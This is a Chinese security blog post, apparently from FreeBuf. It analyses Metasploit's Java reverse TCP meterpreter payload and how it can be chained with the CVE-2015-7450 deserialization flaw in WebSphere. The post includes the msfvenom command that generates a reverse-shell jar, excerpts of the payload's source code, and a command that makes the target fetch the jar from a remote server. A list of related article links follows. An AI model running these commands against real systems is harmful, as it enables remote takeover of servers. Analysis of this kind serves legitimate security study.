Metasploit中的JAVA反向TCP做法的研究

标签: 系统安全 JAVA反向TCP Metasploit | 发表时间:2016-02-16 11:19 | 作者:Tony Lee
出处:http://www.freebuf.com


在研究CVE-2015-7450这个JAVA反序列化漏洞时,面临着一个问题:在WebSphere中,该漏洞仅可以执行命令,但是不能回显执行结果。

遇到这种漏洞,通常的做法都是利用wget或者curl这样的命令来执行一个http请求,将需要的信息送出。但是在我司,这些命令都没法用。原因是我司大量使用的是AIX操作系统,且是不含有任何功能增强的“裸版”。如何在这种环境下回显执行结果,就变得非常重要。

在Google搜索的过程中,发现了一个漏洞利用工程。在该工程的详细介绍中,提到了一种使用metasploit进行shell反弹的做法。研究了该做法后,对于其设计的巧妙深感佩服,遂介绍一下给大家。

1.什么是metasploit

metasploit是一套开源的漏洞利用工具集合和框架。正因为是一个框架,每个人都可以提交利用该框架写的漏洞利用模块。久而久之,该模块库就越来越大,最终形成了一套工具库。关于metasploit在各个系统的安装,这里不再赘述。

2.metasploit中的JAVA反向TCP有什么用

通常,一个漏洞利用,可能会遇到两个讨厌的问题:

如前言中所述,我们可以执行某个命令,但是没办法感知命令执行的结果,于是就变成一个只能搞“破坏”,但是无法被利用起来的漏洞
或者,我们通过漏洞可以植入木马,但是因为有防火墙,我们没办法主动和木马联络,因为一般防火墙的规则都是禁止入站,但是不防止出站。

遇到上述情况,就需要反向TCP连接。所谓反向TCP,就是由木马主动连接服务器,构成一条通路,之后再利用该通路来执行命令,观察输出。

3.metasploit中如何建立JAVA的反向TCP连接

首先,我们用以下命令来生成“木马”

msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar

其中 LHOST是木马回调的服务器的IP, LPORT是木马回调的服务器的端口。

然后我们利用metasploit来建立服务器 建立服务器之后如果木马被执行,则会建立起一个连接 木马被执行

最后,就可以连接木马来执行命令了 木马执行命令

4.metasploit中JAVA反向TCP的技术内幕

首先,我必须要对“木马”作者们表示由衷的敬佩。个人做了近10年正常项目,从来不曾考虑的一些技术细节,他们全都考虑了,比如:后台运行,加密代码,减小体积,动态更新,清扫痕迹等等,这其中有很多值得学习的地方。

就拿本例来说,首先一个值得学习的地方,就是JAVA如何后台运行。当我们用命令 java -jar java_meterpreter_reverse_tcp.jar来执行木马时,我习惯性的等待并观察输出。但是,令人匪夷所思的是,进程直接退出了。这可是一个纯JAVA程序,且并不是通过SHELL运行起来的,它是如何做到进入后台运行的??

通过分析其源码,我们可以看到:

Process proc = Runtime.getRuntime().exec(new String[]{  
                    getJreExecutable("java"),
                    "-classpath",
                    tempDir.getAbsolutePath(),
                    clazz.getName()
            });
            // the input streams might cause the child process to block if
            // we do not read or close them
            proc.getInputStream().close();
            proc.getErrorStream().close();

            // give the process plenty of time to load the class if needed
            Thread.sleep(2000);

其利用Runtime接口,又启动了一个进程来执行后期的代码,并预留了足够的时间等待第二个进程的初始化,之后让自己退出。多么巧妙的做法。

之后新启动的进程,会从远程的metasploit服务器获取运行期需要的类和资源,从而达到减小自身体积的目的。Bravo,Again.

if (url.startsWith("raw:"))  
                    // for debugging: just use raw bytes from property file
                    in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
                else if (url.startsWith("https:")) {
                    URLConnection uc = new URL(url).openConnection();
                    // load the trust manager via reflection, to avoid loading
                    // it when it is not needed (it requires Sun Java 1.4+)
                    Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
                    in = uc.getInputStream();
                } else
                    in = new URL(url).openStream();
                out = new ByteArrayOutputStream();

最终,通过加载到的类,建立和metasploit的连接并执行相关命令。

5.在反序列化中的应用

基本上,就是利用这个漏洞利用工程,将我们的木马上传到WebSphere,并开始起“发酵”过程。有一点需要注意,该命令中木马jar包参数是一个url地址,

java -jar exserial.jar ClassInject "http://myserver.com/java_meterpreter_reverse_tcp.jar" "metasploit.Payload" > demo3.ser

为什么是这样呢?因为想利用JAVA反序列化漏洞直接上传文件是非常困难的,因此,我们需要把“木马”放在一个服务器上,让WebSphere来取。当然,用Apache就可以达成目的了。通过这一系列的操作,就可以反向执行命令了。

本文的目的,并不是手把手教你如何攻击。而是分析其工具背后的做法,涨涨见识。

*首发地址: tonylee.name 原文作者Tony Lee投递

相关 [metasploit java tcp] 推荐:

Metasploit中的JAVA反向TCP做法的研究

- - FreeBuf.COM | 关注黑客与极客
在研究CVE-2015-7450这个JAVA反序列化漏洞时,面临着一个问题:在WebSphere中,该漏洞仅可以执行命令,但是不能回显执行结果. 遇到这种漏洞,通常的做法都是利用wget或者curl这样的命令来执行一个http请求,将需要的信息送出. 原因是我司大量使用的是AIX操作系统,且是不含有任何功能增强的“裸版”.

Metasploit基础学习指南

- - 牛X阿德马
Metasploit 学习指南 — 基础篇. Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面:. Metasploit 的核心. Metasploit 的模块. Metasploit 的实用工具.

tcp/ip调优

- Lucseeker - 在路上
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接. 第一次握手:建立连接时,客户端发送syn包(syn=x)到服务器,并进入SYN_SEND状态,等待服务器确认;. 第二次握手:服务器收到syn包,必须确认客户的SYN(ack=x+1),同时自己也发送一个SYN包(syn=y),即SYN+ACK包,此时服务器进入SYN_RECV状态;.

Metasploit Framework 4.0发布,开源的安全漏洞检测工具

- Tairan Wang - ITeye资讯频道
Metasploit是一款开源的安全漏洞检测工具,由于是免费的,因此常被安全工作人员用来检测系统的安全性. Metasploit Framework (MSF)是2003 年以开放源代码方式发布、可自由获取的开发框架,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠的平台. 这个框架主要是由Ruby编写的,并带有一些C语言和汇编语言组件.

记一份基础Metasploit教程 - 先知社区

- -
Metasploit就是一个漏洞框架. The Metasploit Framework,简称叫做. Metasploit作为全球最受欢迎的工具,. 不仅仅是因为它的方便性和强大性,更重要的是它的框架. 它允许使用者开发自己的漏洞脚本,从而进行测试. PostgreSQL数据库服务:. service postgresql start监听.

Metasploit Framework 6.1.32+20220303 (macOS, Linux, Windows) -- 渗透测试框架

- - SYStem INside
请访问原文链接: Metasploit Framework 6.1.32+20220303 (macOS, Linux, Windows) -- 渗透测试框架,查看最新版. 作者主页: www.sysin.org. 世界上最广泛使用的渗透测试框架. 知识就是力量,尤其是当它被分享时. 作为开源社区和 Rapid7 之间的合作,Metasploit 帮助安全团队做的不仅仅是验证漏洞、管理安全评估和提高安全意识;它使防守队员能够始终领先比赛一步(或两步).

浅谈TCP优化

- - 火丁笔记
很多人常常对 TCP优化有一种雾里看花的感觉,实际上只要理解了TCP的运行方式就能掀开它的神秘面纱. Ilya Grigorik 在「 High Performance Browser Networking」中做了很多细致的描述,让人读起来醍醐灌顶,我大概总结了一下,以期更加通俗易懂. 传输数据的时候,如果发送方传输的数据量超过了接收方的处理能力,那么接收方会出现丢包.

TCP报文结构

- - 互联网 - ITeye博客
一、TCP报文结构如下:.  固定首部长度为20字节,可变部分0~40字节,各字段解释:. source port number:源端口,16bits,范围0~65525. target port number:目的端口,16bits,范围同上. sequence number:数据序号,32bits,TCP 连接中传送的数据流中的每一个字节都编上一个序号.

TCP 状态变化

- - 互联网 - ITeye博客
关闭socket分为主动关闭(Active closure)和被动关闭(Passive closure)两种情况. 前者是指有本地主机主动发起的关闭;而后者则是指本地主机检测到远程主机发起关闭之后,作出回应,从而关闭整个连接. 将关闭部分的状态转移摘出来,就得到了下图:. 通过图上,我们来分析,什么情况下,连接处于CLOSE_WAIT状态呢.

TCP/IP分享——链路层

- Goingmm - 弯曲评论
在张国荣自尽8周年纪念日,也就是愚人节的前几十分钟,终于把第二章弄完了. 首席似乎不是特别有空,我就斗胆在这里自己发了,从前面2期的反响来看,相当热烈,我也是摆出一副要杀要剐,悉听尊便的架势,这可能是受最近流行霸气外露的影响,批评几句又伤不了皮毛,也影响不了我的工作和正常生活,只要给大家带来快乐,我就很开心,似乎历史上很多想法都是在争吵中诞生的.